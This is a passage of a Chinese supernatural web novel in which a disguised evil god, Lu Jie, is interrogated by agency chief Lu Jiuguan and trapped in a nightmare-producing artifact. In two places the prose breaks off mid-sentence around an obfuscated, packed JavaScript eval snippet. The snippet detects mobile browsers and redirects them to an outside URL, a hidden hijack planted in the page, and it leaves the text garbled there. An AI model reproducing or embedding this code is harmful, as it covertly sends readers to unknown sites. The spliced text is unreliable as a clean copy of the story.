一柄重剑直直插入竖瞳正中心,将它钉死在墙面,无数触须断肢散落一地,逐渐僵化萎缩。 而斩杀恶种的男人紧紧抿着唇,浑身暴烈的杀意仍未散去,神色间一片冷然。 “胆子很大。” 路九观冷冷地看着他。 陆颉没有说话,只是一脸无辜地回望过去,他浑身上下干干净净,丝毫不见任何惊慌与恐惧,与身后东倒西歪陷入昏迷的同事和混入其中的经理一经对比,显得格外与众不同和…… 嫌疑突出。 “周围人群已经疏散。” “正在进行恶念溯源。” “现在开始清扫现场!” 连续不断的汇报声从路九观半挂在脖子上的耳麦里传出,门外随后传来急切的脚步声,穿着深黑制服,胸口绣着不朽花的执行部外勤组涌入会议室,昏迷的同事被迅速带离现场,很快这里只剩下他们两人。 时间一分一秒过去,落在陆颉身上的目光越发冰冷严厉,直到小声的请示从耳麦中传来。 “路九观,执行部部长,首席执行官。” 几分钟后,听完下属汇报的路九观终于开口,望向陆颉的目光里带上了审视与评估。 “这是一场有预谋的恶种袭击事件,恶种死前散发出的恶念波动经过溯源,全部都指向了一个人。” 路九观朝他微微颔首。 “就是你。” 陆颉挑了挑眉,并不感到意外:“这证明了什么?” “这证明你或者是恶种袭击的目标……” 路九观有问必答,慢条斯理地开口,动作却极为强横地伸手拽住了陆颉颈间挂着的工牌,迫使他不得不向前倾身,以一个难受的姿势被控制住行动。 “或者是指使恶种袭击的凶手。” 陆颉低着头,掩住眼底微弱的笑意,知道自己目的已经达成。 他轻轻笑了一声,用一种刻意压低的,极为暧昧与肆无忌惮的,挑衅至极的语气反问。 “是吗?” 头顶传来一声哼笑。 下一刻,颈间压迫的力道骤然加大,路九观反手扣住工牌一转一拉,细细的工牌带子顿时成为勒住脖颈的绳索,逼迫陆颉扬起脸。 那对森然冷酷的黝黑眼睛紧紧盯住他,一寸寸扫过他的脸,就如同一只凶兽垂眼看向自己的猎物。 “陆颉,我们需要你配合调查——” 不带任何感情的声音冷冷地命令道。 “跟我们走一趟吧。” 4. 审判庭(一) 陆颉坐上了执行部部长专车。 配备有深谙沉默是金的路人司机一名,杀气四溢全程陪同的部长一名,以及脑海中正在尖叫的猩红眼球一名。 “主人您怎么和救世主搞到一起了!” 打了个盹后发现世界已然天翻地覆,猩红眼球阁下万分跳脚,一脸控诉。 “救世主不是好东西!红红讨厌救世主!” 小眼球的委屈巴巴太过真情实感,陆颉没忍住笑了笑,那张总是过分沉静清冷的脸庞顿时荡开瑰丽的颜色,衬得他越发矜贵和秀丽。 不在任务期间的时候,陆颉向来喜欢浅色系衣服,今天也不例外。浅灰色长风衣衣襟敞开着,一截修长的脖颈没入同色V领衬衫内,因为偏头轻笑的动作呈现出一道非常漂亮秀气的弧度。 人很赏心悦目,姿态很放松自在,但其实处境却相当不妙,于是就显得格外引人注目。 “陆先生,你看起来好像并不担心。” 随着一道不冷不热的声音响起,车内升起隔板,将车后座完全封闭起来,如同一个密不透风的牢笼。 陆颉看着眼前遮挡住车窗的金属隔板,发现这是一种专用于隔绝恶念,压制异能的特殊材料。 看来路九观对自己很不放心? 他看向身旁的男人,那对幽深的黑色瞳孔正冷冰冰地盯着自己,带着毫不掩饰的怀疑。 “是因为自信不会留下任何证据?” 这明晃晃的试探简直让人哭笑不得,陆颉故作诧异地反问:“这位执行官先生,您在说什么?” “我作为受害者,刚刚差点在世光大厦内丧命,现在本该在去医院检查的路上,可您一句话下……我也还是选择了积极配合调查。我信任异管局,也希望早日抓到凶手,但您却毫无证据就要给一个热心的无辜公民定罪……这太令人寒心了吧?” 他说话时眉梢轻挑,一副不敢置信的模样,但眼底却始终带着若有似无的笑意,不像是质疑与诘问,反而怎么看都像是一种有恃无恐的挑衅。 被挑衅的路九观没有开口,只是目光森寒一错不错地盯住陆颉,露出那种出现过很多次的,如同露出獠牙的猛兽竭力忍耐撕咬本能般的表情。 陆颉抿唇一笑,在某只大型凶兽压迫感十足的注视下泰然自若,悠哉闭目养神,直到到达目的地,路九观冷声命令他下车时才慢吞吞跨出车门,双手插着口袋抬了抬下巴,慢条斯理地开口。 “执行官阁下,带路吧。” “……” 这可能是路九观上任以来第一个敢以如此口气在异管局大门口说话的嫌疑人,周围的执行部成员顿时目瞪口呆,一个个偷眼觑着浑身气势越发森然可怕的上司,大气不敢出一声。 “你们几个带他进去。” 路九观随手点了门口的几个执行官,抬步就走,看都没看陆颉一眼,只是在擦肩而过的刹那冷笑着压低声音,浓烈杀意扑面而来。 “别急,你这样的热心公民——” “我们欢迎之至。” “您……你,你跟我们来,老、老实点!” 后面车子里下来的几个年轻执行官一溜小跑过来,面对这位胆敢公然挑衅异管局头号暴徒的嫌疑人小心翼翼,如临大敌,那莫名冒出的敬辞和结结巴巴的语气让陆颉又一次没忍住露出笑意。 路九观的名声可真是如同传闻里一般无二的响亮。 他无意为难这些一看就是小萌新的执行官,很配合地跟着往里走,最终在电梯口停下。 电梯门正在合拢,路九观面无表情站在电梯正中央,身后一众下属安静肃立,确实是气势煊赫,令人望之生畏,陆颉明显感觉到自己身边的萌新们呼吸都开始不稳起来。 可真是好大的威风啊,救世主。 他仰起脸,在电梯门即将完全合拢的前一刻对上那双黝黑的眼睛,慢条斯理地,又轻又缓地一笑。 路九观。 救世主。 我们来日方长。 * “路首席!” “路大!” 通往执行部最深处部长办公室的走廊内,不断有问好声响起,但无论是谁都脚步匆匆丝毫不敢停顿,显然大门口刚刚发生的嫌疑人怒怼路部长的重磅新闻已经插上翅膀飞向了异管局的每一个角落。 没人敢在这时候触霉头。 “筛查一遍在场所有人,重点看近半年内的行动轨迹。” “现场恶念溯源分析结论出来了没有?” “没有?半个小时内我要看到结果!” 路九观大步流星走过,一边不断下达命令,一边毫不留情地训斥,英俊的脸上满是不耐,无情喷洒的毒液将每一个被点名的部下浇得脸色青白交加。 “带回来的嫌疑人怎么办?你是第一天来上班?” “把他先给我晾着!” 最后他砰得一声重重推开门,会议桌前聚着的两人顿时朝他看来,其中一人扬了扬手中的报告。 “你要的的检验结果出来了。” 在连帽衫外随随便便套着件白大褂的娃娃脸青年将文件往桌上一拍,手中捏着的硬币在空中不断抛上抛下,一脸漫不经心。 “我亲自复核的,没有问题。昨天晚上出现的人造恶种确实只有A级,从现场留痕看不存在你说的突然提升等级的可能,但我们没拿到尸体,数据不足以支撑结论——老路,你以后尽量留个全尸,我很感兴趣。” “那现在你有机会了。”路九观面无表情地一抬手,抛过去一个装着粘腻湿滑触手的罐子,“又一起人造恶种袭击事件,发生在世光大厦。其余尸块后勤还在搬运,等着通宵干活吧你。” “喂喂!轻点儿!” 娃娃脸青年,科技部首席研究员兼代理部长庞达不满地大喊起来。 “别破坏了小宝贝们的肌理纹路!” 他看起来对通宵干活的恶毒诅咒接受良好,一个饿虎扑食接过触手,如获至宝般将罐子贴近脸颊深吸口气,露出陶醉般的神情。 “噢!多完美的触手!看看这个吸盘!看看这个斑点!” 路九观习以为常地无视了逐渐变态的某位研究员,转向另一侧。 “这里不是你的综合部,你不待在自己的办公室,来我这里做什么?” “九观,别这么大火气。” 戴着金丝边眼镜,一丝不苟穿着西装的年轻男人露出无奈神色,耐心地开口劝说。 “世光大厦的搜查手续补办好了,你啊……万一你的这个线人消息来源有误呢?如果没有人造恶种,你这样带着人直接闯进去,世光科技集团面子上会很挂不住。” 路九观神情漠然地开口:“然后等你们拖拖拉拉补好手续做完交易,人都被污染得救不回来了,再去处理?” “闻照,你应该比我更清楚。” 他冷笑一声,目光里闪动着浓浓的嘲讽。 “到时候去处理的,究竟是恶种……还是这些被污染的人?” 年轻的男人神色微僵。 “九观,你明知道——” 震动声打断了他原本想说的话,年轻的综合部部长看了眼手机后神色微变,迅速抬头看向路九观。 “督察部动用了审判庭。” 路九观拧眉:“我没有允许他们参与审问——” 他忽然反应过来:“他们对谁用了审判庭?” “你带回来的那个学生。” 闻照低垂着头注视着手机,脸上神情淹没在阴影中看不清,轻轻吐出了一个名字。 “陆颉。” “哐啷!” 身后捧着黏糊糊触手的庞达“啊”了一声,连忙捡起自己被惊掉的宝贵实验素材,诧异万分。 “没搞错吧?这个学生仔不是没什么嫌疑吗?带他回来不是为了保护他?” “我记得他都不是异能者吧。”娃娃脸青年小心翼翼地摆好触手罐子,随口说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396453|184295||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道,“用审判庭?不怕把人给弄成傻子吗?” “督察部走了特殊申请流程,直接跳过我到了秘书处。”闻照脸色也不太好看,将手机屏幕翻转递给路九观,“是赵局批的。” 路九观看了眼申请表末端的两个签名,脸色森寒地转身就走。 他一路沉着脸径直来到负三层大门紧闭的审讯室外,半点停顿也不带的抬脚就踹,下一刻大门在他盛怒下轰然倒塌,震惊愤怒的斥骂声顿时响起。 “督察部执勤中,是谁擅闯审讯室!?” “我。” 在一片枪械上膛的声音中,路九观双手插兜走入,抬眼扫视一圈,露出了然的冷笑。 “这是执行部带回来问话的涉案人员,手续齐全,你们督察部无权干预。” “我打过申请,也批下来了。”稳稳坐在椅子内的中年男人语调阴冷,丝毫不为所动,“执行部事务繁忙,督察部参与审讯,动用异常物,都是特事特办。” 督察部副部长刘理,一个心眼极小瑕疵必报的家伙,平日里就经常和执行部起摩擦,这次显然是闻着味儿过来的,就是为了恶心他。 “路部长,不过是一个外包公司的实习生而已——”刘理慢吞吞地开口,语气很不以为然,“你要明白,这次袭击发生在世光大厦,我们必须尽快给世光科技集团一个交代。” “特事特办?交代?” 对方语气里那种把普通人视作低等生命的傲慢让路九观怒火中烧,他嗤笑一声,懒得浪费时间纠缠,径直上前一步,从制服口袋里拿出一枚铁红色的半朽鸢尾花徽章,啪得一声拍在桌面。 “我是执行部部长兼任首席执行官,拥有对异管局全部异常物的处置权,优先级位于首位。审判庭是S级高危异常物,绝不可用于普通人,我判断此次异常物调动不合理,在此决定收回审判庭。” 桌面上,象征着首席执行官身份的徽章闪动着细碎的冷光,映出刘理骤然阴沉的脸色。 “任何对未曾定罪的公民造成的伤害都会被视为你的失责,追责流程想必你也很清楚——时间紧迫,现在我必须为你的错误进行补救,不能受到任何干扰。” 路九观公事公办地开口,面无表情地朝外一扬下巴。 “请吧,刘副部长。” 审讯室内陷入死一般的寂静。 “……既然你坚持,督察部当然会按照规则办事,但是路部长,不要怪我没有提醒过你。” 过了好一会儿,中年男人终于缓缓起身,那对如蛇般阴冷的眼睛死死盯住路九观,嘴角咧开一抹血腥的笑容。 “别太得意忘形——你再这样傲慢下去,是会付出代价的。” “我们走。” 砰! 通往单向玻璃另一侧的大门被重重推开,路九观面色凝重地大步走入,看到不久前还气焰嚣张挑衅自己的黑发青年闭着眼睛低垂着头,额前发丝被冷汗浸透,紧贴在苍白的脸颊,随着急促的呼吸不断起伏。 陆颉的情况显然很不好。 当然是不会好的。审判庭是极少数专精于精神攻击的异常物,启动后会将人直接拉入心底一切恐惧幻化成的噩梦中,过程极度痛苦,意志薄弱者甚至会精神崩溃。 这样危险的异常物绝不该轻易被启动,更不该被用在一个没有被定罪的普通公民身上。 力量与权力,绝不应被滥用。 这是路九观为自己划下的底线。 他走近昏睡的黑发青年,俯下身,一手覆在青年后颈托住,让两人额头相抵,另一只手毫不犹豫探入审判庭内。 审判庭特性之一:一旦开启,除非它自己停下——否则谁也无法从外界令它终止。 因此要救陆颉的唯一一个方法,就是从内部瓦解噩梦。 指尖传来一瞬刺痛,吸食了鲜血的异常物亮起红光,下一秒路九观的精神骤然一沉,接着眼前世界天翻地覆,化作一片赤红。 他进入了噩梦。 5. 审判庭(二) 审判庭,S级异常物。 归属于异常事务联合管理局。 真言之书哗啦啦地翻页,异常物档案中详细列出了审判庭的所有信息。 但陆颉不需要去看,他对异管局记录在案的所有异常物都熟记在心。 审判庭的特性有四。 1、鲜血是唯一的钥匙。 2、欢迎来到映射你最深恐惧的噩梦。 3、噩梦无法被终止,直至一切都被恐惧吞噬。 4、或者,试着将恐惧吞噬? 恐惧。 从有记忆开始,陆颉就从未被恐惧阻拦住脚步,因此当异管局使用审判庭时他顺从地接受了一切,演技绝佳地扮演了一个没有异能的普通学生。 事实证明,不是他演技差,而是路九观真的难骗。 陆颉环顾四周,没想到自己在审判庭内看到的会是这样的景象。 天地正在崩裂。 无数燃烧的火团从头顶坠落,天空仿佛被开了道口子,震耳欲聋的轰鸣声里,来自天外的可怕力量降临,带来灾难和毁灭。 处处塌陷的大地上布满了重重叠叠惊惶的黑影,他们挣扎着扭曲着蠕动着,齐齐发出绝望恐惧的哀泣与悲号,却只能徒劳地消散在赤红火焰中,化作流淌的岩浆陷入地底。 天与地的界限变得模糊,黑暗逐渐侵吞大地与天空,高高卷起的漆黑浪潮一重又一重朝陆颉拍来,自下而上蜿蜒爬升。 陆颉低头,发现自己脚下是这个世界中仅剩的一处高地,身后是密密麻麻布满高地的黑影。 那些黑影环绕着他,如同子民拱卫依赖着他们的信仰与支柱。 陆颉的内心顿时充满了不解与荒谬。 他孤身一人站在这个正在毁灭的世界,看起来却完全不像是造成世界毁灭的大反派,反倒像是个要以一己之身挡在世界之前的,孤注一掷的英雄。 审判庭映射出的他的恐惧……为什么会是这样的场景? 如果要说恐惧,他曾经身陷过的每一次绝境,经历过的每一次生死之间,都与眼前一切毫不相干。 他最深的恐惧…… 会来自他那没有恢复的,作为邪神的记忆吗? 陆颉忽然一愣。 在刚刚的一瞬间,他似乎看到了一道极为熟悉的高大背影,但对方只是从自己身侧飞速掠过,冲向高地之外,无声无息消散在了漆黑的浪潮里。 是错觉? “嘤嘤!” “呜——汪呜!” “……papa?” “哼……” 四道音色语调皆不相同的声音在这时响起,自高地不同方向朝陆颉快速接近,但却全蒙在厚重的黑影之下,连身形、大小都无法看清。 陆颉有些猜测,刚想要呼唤自从审判庭开启后就没有了声音的小眼球,真言之书却已经自行浮现,眷属篇章自猩红眼球起连续翻开四页,金色光芒在其间闪烁不定,仿佛在与那四道声音相和。 ——是他的四个眷属。 邪神座下最强大的灾厄级原初恶种,这个世界里所有恶种的始祖。 此世他需要寻找和契约的,就是他们。 嗡嗡! 真言之书震动起来,四个眷属的剪影旁出现了他们刚刚发出的声音,陆颉若有所思地注视着那几行字,发现剪影的正上方又多出了两行字。 【当前原初恶种契约数量:0/4】 【当前拥有眷属数量:1/?】 因为红红的身体和力量残缺,所以并不算作已经契约? 陆颉有些疑惑,翻开属于猩红眼球的那一页,却发现平日里活泼好动的小眼球正紧紧缩成一团,眼皮不住颤动,像是陷入了某种极为不安的梦境。 “红红?” 他轻声呼唤,伸手想要抚摸明显状态不对的眷属,但他的手指甫一触及那道金色光芒,从未有过的剧痛就在同一时间自身体各处骤然爆发! 砰! 陆颉重重半跪在地,剧烈喘息起来,他这时感觉到的疼痛不仅仅只来自于身体,而像是爆发在更深处——如同灵魂被重锤不断撞击,一点点碎成千片万片,又仿佛大脑正被无形的手生生撕裂,有什么东西在里面横冲直撞着想要钻出来,但却始终不得出路,只能疯狂又筋疲力尽地徒劳挣扎。 思维在剧痛下一片空白,他在恍惚间看着那四道黑影在自己周围绕行一圈,接着渐行渐远,同样头也不回地跃入高地外的黑潮。 那一刻世界的崩坏逼至极限,痛楚也到达顶峰,天崩地裂中陆颉眼前一黑,彻底失去了意识。 * “散开追!” “那里!” “所有人都要处理掉!” 陆颉在一阵嘈杂的叫喊声中蓦地惊醒,立刻屏住呼吸绷紧身体,不动声色掩藏在倒塌的屋架下,浓烟与火光让视野变得极为模糊,搜捕者没有发现他,凌乱的脚步声在四周转了一圈,贴着他的藏身处远去。 陆颉谨慎地透过身侧的缝隙向外观察,在一片烟熏缭绕中看到倒塌的房屋和被连根拔起的大树,破碎的地面横亘着断裂的钢筋与被熏黑的残破砖墙,浓郁的血腥气与火药硝烟味、刺鼻的燃烧物气味充盈着鼻腔,夹杂着一股淡淡的消毒水味。 零星的枪声时不时响起,伴随着哀嚎、咒骂与呼救,但废墟中只传来一声声倒地的闷响,以及搜捕者短促冰冷的喊声。 “他们跑不远的,追!” 轰! 脚步声去而复返,即将路过陆颉藏身废墟时火光突然大盛,呼啸的狂风席卷而过,压过了一道细细弱弱的呼吸声。 陆颉忽然愣住了。 火光、硝烟、废墟,搜捕者和枪声,残缺不全的躯体与失去生机的眼睛,脚下湿滑的猩红大地。 他想起来这是哪里了。 这里的的确确—— 是他的噩梦。 不远处,被倒塌屋架完全挡住的角落,露出了两个相拥在一起的孩子。 其中那个黑发的孩子仰起头,苍白的小脸上满是不符合年龄的冷静和漠然,他直勾勾盯住陆颉所在的方向,鲜红的眼睛里映出半空中飞溅的火星和模糊的虚影。 “是你吗?” 陆颉听见那个孩子一字一句认真地开口,眼底晃动着被小心遮掩的希冀与渴望。 “你是来救我的吗?” 陆颉的背脊一寸寸僵硬起来,他握紧了拳头,一句话都说不出来,那个孩子仿佛也感受到了什么,没有再开口,因为情绪激动而越发瑰丽的瞳孔再度黯淡下去,化为一片晦涩不明的了然与平静。 他安静地注视着他。 一大一小两对如出一辙的猩红瞳孔跨越了整整十年岁月,在那一瞬间对撞在一起。 * 轰隆! 地面在剧烈晃动,建筑成排倾塌,火光明灭间到处都是狰狞的鬼影。 “那个小孩在这里!” “追!不能留活口!” 斥骂声近得仿佛就在耳后,十五岁的路九观跌跌撞撞奔跑在废墟间,脸上满是惊惶。 他很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396454|184295||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想吐,也很想哭,但被父母推进暗门前的最后一刻,他看到他们眼中无声的不舍与悲伤悉数消散,像是用尽全力般露出一个充满鼓励的笑容,于是他拼命跑出了那条黑得仿佛没有尽头的地道,在钻出来的一瞬间大地开始颤动,身躯庞大如山岳的恶种凭空出现,将整座基地如同薄纸般轻而易举撕碎。 到处都是尖叫、咆哮与哀嚎,子弹倾泻而出撕裂空气,恶种的啸音将大地掀翻,少年不知多少次跌倒又爬起,他拼了命地奔跑,但隐匿在火光中的脚步声却始终如影随形。 “咳咳,咳咳咳咳咳……” 少年剧烈呛咳着,带起肺部一阵阵火烧火燎的痛楚,他晃了晃越发沉重的脑袋,勉强抬起如同灌了铅般沉重的双腿,费力地往记忆中安全的地方走去。 他的眼睛也已经看不清了,一切都是不断晃动的模糊斑块,最终在被一块石头重重绊倒后,他筋疲力尽地倒在一处火焰将将熄灭的屋架旁。 他知道自己已经逃不掉了。 他不是异能者,在吸入大量致命烟雾后,用不着那些杀手动手,很快也会死于窒息。 十五岁的少年安静地仰面躺在废墟里,半睁的灰色眼睛没有焦距地落在通红一片的天空,同色的短发落入满地灰烬,染上斑驳的杂色。 他的意识正在逐渐抽离,所有疼痛和难受的感觉都消失了,整个人变得轻飘飘起来,接着周围的火光与硝烟散去,化作一条熟悉的花园小径。 小径的终点有一株盛放的蓝花楹树,他的父母正手挽着手向前走,少年露出微笑,加快脚步想要跟上,但不知为何他们之间的距离却变得越来越远,他徒劳地伸出手,心底没来由陷入一阵恐慌。 爸爸妈妈,不要走…… 别让我一个人,等等我,让我和你们一起—— “醒醒!别睡!” 忽然一道急促的声音响起,如同利刃劈开温暖与恐惧交织的世界,在天旋地转中少年猛地睁开眼睛,发现自己不知何时被拖进了屋架下。他眼前一片模糊,只依稀看到一个比自己矮很多的瘦弱男孩正盯着自己,说话的声音又冷又沉。 “你不是基地的人,刚刚过去的那些人是在追你?” “……”少年张了张口,有很多话想说,但剧痛却在同一时间回归。他激烈地喘息着,被烟雾严重侵染的肺部不堪重负,在每次呼吸间带出破风箱般的鸣声。 缺氧让他的眼前开始发黑,但奇异的是那种濒死的感觉正在逐渐散去,他说不出话,也动不了,他的意识开始缓慢下沉,像是即将陷入一场漫长的睡梦。 “算了。你在那种地方是活不下去的。” 模模糊糊间,他感觉到男孩站起身,平静的嗓音里听不出任何情绪。 “你要觉醒异能了,出去后不要和任何人提起我。” 为什么?你是谁? 你做了什么? 你要去哪里? 少年着急地想要开口,探出手竭力想要拉住男孩,但意识却越发昏沉,只能挣扎着拼命发出无声的嘶喊。 不要!外面很危险! 不能出去! “……别怕,睡一觉就好了。” 但男孩却极为灵活地躲开了他,头也不回地离开这个安全的庇护所。 他只听到对方低低的,像是满怀不甘与自嘲,却最终只能认命的轻声呢喃。 “好好活下去吧,希望我们不会再见面。” 轰——隆! 惊天动地的巨响中,碎石瓦砾将他掩埋在下,彻底遮蔽住头顶的血色天空。 6. 审判庭(三) “别过去!” 黑暗骤然散去,路九观喘息着睁开眼睛,低头注视自己的双手。 这是一双修长有力的,带着细碎伤疤的手,能够握紧任何武器,强大到足够保护自己也保护他人,二十五岁的路九观站在异能者的巅峰,再不是十年前那个只能哭泣着逃跑,被比自己还小的孩子豁出性命护在身后的十五岁少年。 只是那个孩子…… 路九观神色复杂。 十年前他因祸得福觉醒异能,样貌发生变化而躲过追杀,得以用全新的身份重新开始生活。但那个孩子究竟是谁,有没有活下来,却始终是他午夜梦回难以释怀的心结。而当他进入异管局登上高位,有资格接触到一些常人无法触及的秘密后,却发现当年的一切比自己原本以为的还要离奇和复杂。 他父母的死亡竟然只是其中的一环,在那背后是更可怕埋藏更深的隐秘和阴谋,牵扯到的是那些人尽皆知的,盘踞在这个世界顶端的庞然大物。 路九观知道调查这些会给自己带来什么,但他必须去做。 为了他的父母,那个孩子,还有那么多如同野草般被随意埋葬焚灭的生命。 呜——呜—— 带着炙热火星的风从焦黑的土地另一头刮来,传递出无尽的苍凉与死意。 路九观环顾四周,想要在审判庭编织的噩梦中寻找那个记忆中的孩子,看清对方的模样,但血色天空下只有燃烧的废墟和飘散的黑烟,像是所有生命都已经被焚烧成灰烬,彻底湮灭在被刻意抹去的时间里。 除了…… 除了那个孤零零站在倾倒的屋架下,忽然抬头看来的黑发青年。 ——是陆颉。 但陆颉怎么会在这里? 这个本该在自己的噩梦中挣扎的黑发青年脸色苍白得吓人,原本色泽瑰丽的猩红瞳孔黯淡得几乎要失去光亮,没有焦距地注视着虚空。路九观一看就知道青年精神消耗过大,极有可能已经在崩溃边缘,当即加快速度跑去,但下一刻他脚步骤然一顿,神情愕然地看向眼前这一幕。 庞大的,如同山岳般的恶种撕裂天空,发出愤怒的咆哮,另一边,狰狞无比的竖瞳裂开一道缝隙,无数颤动的血色重瞳齐齐盯住脚下渺小的人类。 它们的气息远超S级恶种—— 这是足足两个灾厄级原初恶种! “陆颉,站在那里别动,看着我。” 路九观当机立断出声提醒,试图阻止陆颉发现身后的异样,他紧紧盯住黑发青年的动作,步伐稳稳当当,却速度极快地靠近。 审判庭内的一切完全由恐惧幻化而成,恐惧越深,幻象越真实。陆颉不了解审判庭特性,很有可能会因为恐惧而令身后的恶种变得越发真实,从而真正具备灾厄级原初恶种的可怕力量—— 让一个普通人只是看到一眼,就会立刻精神值归零,彻底陷入疯狂! 远处的黑发青年歪了歪头,像是有些困惑,又或者是没有听清,迈开步子朝他走来,路九观加快脚步,克制着语气,尽量平和地继续出声安抚。 “不要怕,我是来带你离开的。这里是我的梦境,我们不会有危险。” 黑发青年蓦地停住了脚步。 那张过分秀丽的脸上露出微微的讶异,暗红色的眼睛快速眨了几下,仿佛是有些看不清,接着他做出了一个让路九观呼吸骤停的举动。 他在原地站定,低头看向脚边。 ——坑坑洼洼的地面上赫然汇聚着一汪水泊! “闭眼——” 路九观在第一时间大吼着狂奔起来,但已经晚了—— 泛着涟漪的水泊反射出头顶血色天空,庞大如山岳的恶种仰天咆哮,模糊的虚影一点点锐化逐渐显露出狰狞五官。与天同高的竖瞳在刹那间完全张开,无数血色重瞳齐齐震颤,蓦地张开千万条触手。 它们一前一后,幽幽盯住了脚下渺小的人类。 而陆颉只是神色怔忡地垂头站着,额前碎发遮住了半张脸,看不清他的神情,像是根本没有看到头顶与身后那两个可怖的身影。 或者说,更有可能的是,在两个越发真实的灾厄级恶种影响下,没有异能的黑发青年已经完全丧失了行动能力,正在精神值归零的边缘岌岌可危! “嗷——” “嘤——” 震耳欲聋的嘶吼声几乎要掀翻整个梦境,大地在剧烈摇晃,火海再度开始蔓延,无数哀嚎的黑影在浓烟下挣扎着伸出手,齐齐抓向怔在原地的黑发青年! “陆颉!” 路九观的速度已经快到出现了残影,但巨大的脚掌和挥舞的触手却比他更快! 它们的目标,正是那个呆呆站在原地的黑发青年! 一切都发生在一瞬间。 恶种巨掌轰然而至,降下死亡的阴影,疾射的触手自陆颉身后而来,呈包围状将他环绕,与此同时路九观身形骤停,咬牙重重半跪在地单手按住地面,低不可闻地吐出两个字。 轰——隆—— 轰隆! 血色天空蓦地散去,露出破开的天幕和无数正在坠落的火团,大地上鬼影憧憧,极其遥远的地方有一道身影向这里投来遥遥一瞥,倏尔碎裂成万千光点—— 就在同一时刻两个恶种同时爆发出凄厉哀嚎,近乎实体化的身形飞速淡去,接着整个世界如碎裂的镜子那般四分五裂,蓦地散开,无数碎片裹挟着路九观和陆颉,将他们轰然卷出了这个噩梦! “呼——呼——” 现实世界中,陆颉猛地睁开眼睛,呼吸急促地半撑起身体,接着肩膀被人扶住,盛着温水的杯口凑近嘴边。 “醒了?” 路九观的声音近在咫尺响起,陆颉没有理会,就着杯子慢慢喝了几口水后,晕眩的大脑终于恢复过来。但很快他发现自己目前的状态很不对劲,那种深入灵魂的疲惫感非但没有缓解,反而愈演愈烈,仿佛在审判庭中感受到的灵魂破碎不是幻象,而真真切切发生在他身上。 真言之书和红红没有一点动静,显然都很忌惮这个近在咫尺的救世主,陆颉用力闭了闭眼睛,强行压下不适,朝站在身旁一脸探究看向自己的路九观微微一笑。 “真是没想到,原来执行官阁下不仅善于给无辜公民扣上莫须有的罪名,竟然还对严刑逼供的手段运用得如此得心应手?” 路九观沉默了一下,难得没有反击陆颉的冷嘲热讽,这个向来傲慢霸道的首席执行官甚至微微低下头,语气里带着郑重的歉意。 “很抱歉,这确实是我的失职,违规对你进行审讯这件事,你可以要求赔偿,也可以直接投诉。” 陆颉只是微笑不语。 他对自己被违规过度审讯这件事没太大反感,相反借着这次机会他已经完美得成为了受害者,这无疑会让陆颉这个身份更加安全。 更何况这次进入审判庭,阴差阳错让他确定了一件事,现在陆颉其实心情很好,看着眼前的某位首席执行官也越发顺眼起来。 当年没用的废物大少爷如今都成了异能者第一梯队的强者,他的选择总算也不是都带来了坏的结果。 而为自己亲手塑造出了一个生死之敌这种事,仔细想想甚至还要更令人兴奋。 “执行官阁下,请问我的嫌疑消除了吗?” 陆颉似笑非笑地开口,猩红瞳孔内色泽越发瑰丽,藏在薄毯下的双手死死握紧,克制着因为情绪骤然波动而爆发出的,来自身体各处的痛楚和随之升起的虚弱感,眼中笑意却越发愉悦。 这是他亲手选定的,他宿命的敌人。 “你的嫌疑还没有完全解除。” 路九观显然是典型的对事不对人,一码归一码分得清清楚楚,视人情世故为无物而最惹和事佬和投机者厌烦的那类人。他朝陆颉彬彬有礼地一颔首,姿态无可挑剔,语气却冷漠丝毫不留情面,仿佛上一刻还在道歉的人不是他一样。 “在案件结束前你不能离开中心城,需要随时接受传唤配合调查。” 这正中陆颉下怀。 他露出关切神情:“关于这次的袭击,你们调查出了什么?” 异管局发现经理的不对劲了么? 但路九观只是瞥了他一眼,没给任何回应,公事公办地开口:“世光科技集团为你申请了特殊许可,现在你可以离开了。” 门外适时传来敲门声,一个西装革履拎着公文包,从头发丝儿到鞋后跟都透着精英味道的年轻男人出现在门边,面无表情朝路九观微一颔首:“给您添麻烦了,路部长。” 接着他转向已经从沙发上下地站好的陆颉,嘴角掀起一道嘲讽的弧度,不冷不热地开口。 “家主听闻您被抓进了异管局非常忧心,吩咐我立刻飞回来处理。小少爷,在我们和斯通生物谈判的关键时候闹出这样的事——您可真会挑时间。” “……” 路九观侧目,脸上闪过惊讶的神色,显然不曾想到这个在世光科技集团外包公司实习,除了长相漂亮气质特别性格差劲胆大包天以外,一切看起来都普普通通的黑发青年,真实身份竟然如此……煊赫。 世光科技集团如今的掌权人上位十年,年纪也不过才三十出头,没有公开任何子嗣信息,也就是说陆颉如今就是集团内身份第二尊贵的嫡系继承人—— 这样的身份地位不论放在哪里都是一等一的要紧和金贵。 结果竟然被他们押进了执行部审讯室,甚至还被违规使用了足以致命的异常物。 这位小少爷到底是怎么想的? 明明一句话就可以解决困境就此脱身,免去皮肉之苦和生死危机,但他偏偏一声不吭……真不是故意的吗? 路九观回想起对方那肆无忌惮的挑衅模样和一句句假装可怜的无辜公民与心寒至极,难得觉得拳头很痒。 这样的特级权贵绝不会轻易将自己置于危险之中,想必早有应对手段。所谓的审讯,或者说从遭遇袭击开始,这位小少爷恐怕早已想好了要怎么找乐子——想必看戏看得一定非常开心。 这哪里是性格差劲,根本就是恶劣至极。

